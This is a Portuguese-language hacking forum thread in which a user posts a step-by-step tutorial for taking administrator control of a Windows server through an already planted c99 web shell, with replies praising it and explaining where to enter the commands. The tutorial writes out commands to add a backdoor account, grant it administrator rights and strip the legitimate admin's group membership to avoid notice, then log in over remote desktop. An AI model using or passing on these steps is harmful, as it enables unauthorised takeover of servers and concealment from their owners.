Tutorial Adquirindo acesso r00t em Servidor Windows

[#Expl0it]

___________
. Introdução \_______________________

Bom pessoal, #Expl0it na área trazendo mais um Tutorial, é simples. Vamos lá.

________
. Começo \_______________________

Para começar você deve ter uma Shellcode no Servidor no qual você quer ter acesso ao r00t. Nesse tutorial vou usar um c999 ShellCode. Ok Então vamos lá:

Execute o seguinte comando:

 net user

Vai lhe mostrar os usuários que já estão cadastrados no servidor, um exemplo:

Contas de usuário para \\

-------------------------------------------------------------------------------
Administrador            Convidado                admin
HelpAssistant            SUPPORT_388945a0
O comando foi concluído com sucesso!

Bom isso é só para mostrar os usuários cadastrados. Agora vamos cadastrar o nosso usuário para ter acesso total ao Servidor:

Execute o Comando:

 net user exploit exploit /add

Irá aparecer a mensagem "Comando concluído com Exito". Usuário exploit com a senha exploit. Agora sim temos uma conta de usuário no servidor, mas só como usuário não vamos poder acessar, então para adicionar o usuário 'exploit' para o grupo de Administradores do Servidor precisamos executar o seguinte comando:

 net localgroup administradores exploit /add

Pronto agora você é Administrador do Servidor, mas os antigos usuários irão ficar e talvez o Administrador do Server perceba a nova conta, então vamos deletar ele (:

 net localgroup administradores admin /delet

Agora você pode logar por acesso remoto no Servidor, para isso você vai precisar do IP, para pegar execute:

 ipconfig

Agora -

 Iniciar >> Todos os programas >> Acessórios >> Conexão com área de trabalho remota

Coloque Login e Senha e Alacazam, é só brincar de fuçar.
_____
. FIM \_______________________________________

Bom espero que tenham gostado do Tutorial.
Qualquer dúvida comenta ai.

by #Expl0it

[lipeeh]

gostei, mas n entendi :<

[wendel]

Muito bom tutorial #Expl0it !!

Realmente sem muitas palavras foi dereto ao ponto.

[Invisible]

Disponibilizar conteudo assim é V-A-C-I-L-O...

Se fosse assim eu postaria todos os conteudos de elite hacker ao publico .. isso nao é conteudo de elite , mas disponibilizar a dar root em um sistema na moleza é foda né ...

Aonde vai ta a graça se todo mundo souber as mesmas coisas que nos ? :s

flw

[Dork]

Bom, depende invisible em certa parte concordo contigo e outra não, esse conteudo ja vi varios videos sobre ele especialmente no youtube, mas um tuto assim ja vi em foruns internacionais aqui nacionais não, acho que poderia ir pra elite mas como nao sou quero que fique aqui mesmo ^^

@topic, e quando tu for dá root em windows e aparecer popen disabled?

[#Expl0it]

Disponibilizar conteudo assim é V-A-C-I-L-O...

Se fosse assim eu postaria todos os conteudos de elite hacker ao publico .. isso nao é conteudo de elite , mas disponibilizar a dar root em um sistema na moleza é foda né ...

Aonde vai ta a graça se todo mundo souber as mesmas coisas que nos ? :s

flw

Nem todos sabem usar isto, e eu gosto de compartilhar. Não quero nenhum tipo de fama, não sou hacker e não quero ser, quando eu morrer meu nome vai ser esquecido não vai ter obras em meu nome.

Quem quiser ser 'hacker' a porta está aberta (80), nem todos aprendem sozinhos sem um empurrão.

[Invisible]

Quando o popen estiver disabled voce nao tem permissao pra executar esses comandos na shell ^^
ou seja , nao havera root ...

[Win32]

ottimo post exploit ;d Bjs

[praTes]

Para começar você deve ter uma Shellcode no Servidor no qual você quer ter acesso ao r00t. Nesse tutorial vou usar um c999 ShellCode. Ok Então vamos lá:

Execute o seguinte comando:

 net user

Não saquei essa parte
onde eu entro com esse comando !!


Obs: nao tenho vergonah de perguntar !!

[jr.messy]

Não entedi direito nao mas é um bom conteúdo.. gostei!!!

[S4tur0]

Não saquei essa parte
onde eu entro com esse comando !!


Obs: nao tenho vergonah de perguntar !!

Depende da shell que você ta usando.
Se for c99
Você encontra um campo "Enter:", ai você poem o comando ai, e vai no botao execute

[Stalker]

tava com a mesma duvida obrigado !

[Prime]

Great tuto
vo tenta faze isso depois
valeu

[raio.racker.com]

boooooooooooooooooooooooooooooooooooooooood+

[#Jun10r|r00t'5*]

Gostei... Valew expl. tava procurando isso !